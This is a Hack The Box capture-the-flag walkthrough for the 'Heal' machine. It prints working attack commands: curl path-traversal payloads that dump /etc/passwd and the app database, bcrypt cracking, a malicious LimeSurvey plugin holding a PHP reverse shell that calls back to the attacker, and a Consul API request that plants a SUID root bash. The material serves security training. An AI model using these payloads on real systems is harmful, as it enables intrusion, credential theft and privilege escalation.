Description

Heal is a medium Hack The Box machine that features:

  • Path Traversal in a Ruby on Rails web application
  • Database Dump of a Ruby on Rails web Application
  • Weak password found in database dump allows the login to LimeSurvey application
  • Remote Command Execution using LimeSurvey application and the upload of a malicious plugin
  • User Pivoting by using a reused password from a configuration file of LimeSurvey
  • Privilege Escalation by abusing a weak instance of Consul that allows the execution of commands

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.30.209.

$ ping -c 3 10.129.30.209
PING 10.129.30.209 (10.129.30.209) 56(84) bytes of data.
64 bytes from 10.129.30.209: icmp_seq=1 ttl=63 time=47.2 ms
64 bytes from 10.129.30.209: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.30.209: icmp_seq=3 ttl=63 time=47.6 ms

--- 10.129.30.209 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.216/47.424/47.588/0.155 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.30.209 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds

We get two open ports: 22 and 80.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.30.209 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.79 seconds

We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We can see that the HTTP service redirection to heal.htb. So we add it to the /etc/hosts file.

$ echo "10.129.30.209 heal.htb" | sudo tee -a /etc/hosts

We find a service in which professional resumes can be created. We can login or create an account. We are going to create a new account. For the register, the frontend is calling to an API method located in the api.heal.htb subdomain, so we add it to the /etc/hosts file.

$ echo "10.129.30.209 api.heal.htb" | sudo tee -a /etc/hosts

After registering, we get a session in the website. We can fill the data, and in the end of the page we have the EXPORT AS PDF button, that can be used to generate a PDF file with the resume. Before generating the resume we check that at the top of the page we have the SURVEY button that lead us to the http://take-survey.heal.htb/index.php/552933?lang=en link so we add the subdomain to the hosts file.

$ echo "10.129.30.209 take-survey.heal.htb" | sudo tee -a /etc/hosts

When we generate the PDF file, we find the download link, http://api.heal.htb/download?filename=e07dea046232edc4a02e.pdf. The filename endpoint is pointing to the e07dea046232edc4a02e.pdf file in the filename parameter. Fingerprinting the api application we find that it is a Ruby on Rails 7.1.4 web application.

$ whatweb api.heal.htb
http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.30.209], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]

Exploitation

We check that the filename parameter of the download endpoint is vulnerable to Path Traversal vulnerability, allowing the retrieval of the /etc/passwd file. We find as console users root, ron and ralph.

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../../../../../etc/passwd' | grep bash

root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash

As this is a Ruby on Rails application, we can check for an application boilerplate in Github, as this to search for configuration files. We find that the ../config/database.yml file exists.

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

The database file is saved in the storage/development.sqlite3 file. Let’s download it.

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o development.sqlite3

We are able to retrieve the hashed password of the ralph user in the database, from the users table, $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG.

$ sqlite3 development.sqlite3    
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata  token_blacklists    
schema_migrations     users               
sqlite> select * from users;
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1

We can crack the hash using John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (ralph)     
1g 0:00:00:04 DONE 0.2341g/s 134.8p/s 134.8c/s 134.8C/s 12345678910..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We find the password for the user ralph in the API web application, 147258369. Moving to the take-survey survey link we find that we can fill a one-question survey. We can access to the administrator dashboard using the http://take-survey.heal.htb/index.php/admin/authentication/sa/login link. We need credentials to login, and the found previously for ralph user are valid. We get access to the LimeSurvey web application administrator dashboard. In the end of the dashboard we can find the the LimeSurvey version used is the 6.6.4. We can gain Remote Command Execution by uploading a malicious plugin to the web application. Firstly we are going to create the manifest of the plugin in the config.xml file:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Lime</name>
        <type>plugin</type>
        <creationDate>2024-06-01</creationDate>
        <lastUpdate>2024-06-01</lastUpdate>
        <author>Heal</author>
        <authorUrl>https://heal.htb/</authorUrl>
        <supportUrl>https://heal.htb/</supportUrl>
        <version>1.0</version>
        <license>Heal</license>
        <description>
                <![CDATA[Author : Lime]]></description>
    </metadata>

    <compatibility>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Then we copy a PHP reverse shell file and we edit it with our parameter of host and port.

$ cp /usr/share/webshells/php/php-reverse-shell.php .

After that we pack the two files in a ZIP file.

$ zip plugin.zip config.xml php-reverse-shell.php

We can finally upload the plugin to the LimeSurvey but firstly we need to open a listening port in our machine.

$ nc -nvlp 1234

Then, in the dashboard, we can move in the menu to the Configuration > Plugins section. We click in the Upload & install button and we upload the malicious plugin by clicking Install The we can trigger the vulnerability by running the PHP file.

$ curl 'http://take-survey.heal.htb/upload/plugins/Lime/php-reverse-shell.php'

We receive a shell as the www-data user.

$ nc -nvlp 1234 
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.129.30.209] 33178
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 00:04:22 up 2 days, 11:36,  0 users,  load average: 0.13, 0.05, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Exploitation

Enumerating files, we find the configuration file for LimeSurvey in the /var/www/limesurvey/application/config/config.php file.

www-data@heal:/$ cat /var/www/limesurvey/application/config/config.php
...
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

We find the credentials of the PostgreSQL database survey, with db_user username and AdmiDi0_pA$$w0rd password. We find that the password is reused for the roy user in the machine, thus we can login using SSH.

$ ssh ron@heal.htb                                                             ...
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)

With the ron session we can enumerate the processes running in the system. We find an interesting one, consul.

ron@heal:~$ ps -ef | grep root
...
root         994       1  0 Dec12 ?        00:21:43 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
...

Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime. If it is not configured correctly it is possible to run commands easily as the process owner as seen here. We should have an ACL token but we are going to trigger the command without it. Let’s firstly create the /tmp/exploit.sh file which will copy and SUID the Bash binary file to the /tmp directory.

ron@heal:~$ echo -e 'cp /bin/bash /tmp/suid-bash;chmod u+s /tmp/suid-bash' > /tmp/exploit.sh

Then we send the request to run the command to the localhost service in port 8500, that is running.

ron@heal:~$ ss -tulnp | grep 8500
tcp   LISTEN 0      4096       127.0.0.1:8500       0.0.0.0:*

ron@heal:~$ curl --header "X-Consul-Token: notoken" --request PUT -d '{"ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/exploit.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register

After a few seconds, we find that the SUID Bash binary is created, we can run it to spawn a root shell.

ron@heal:~$ ls /tmp/suid-bash
/tmp/suid-bash
ron@heal:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)

Flags

In the root shell we can retrieve the user and root flags.

suid-bash-5.1# cat /home/ron/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>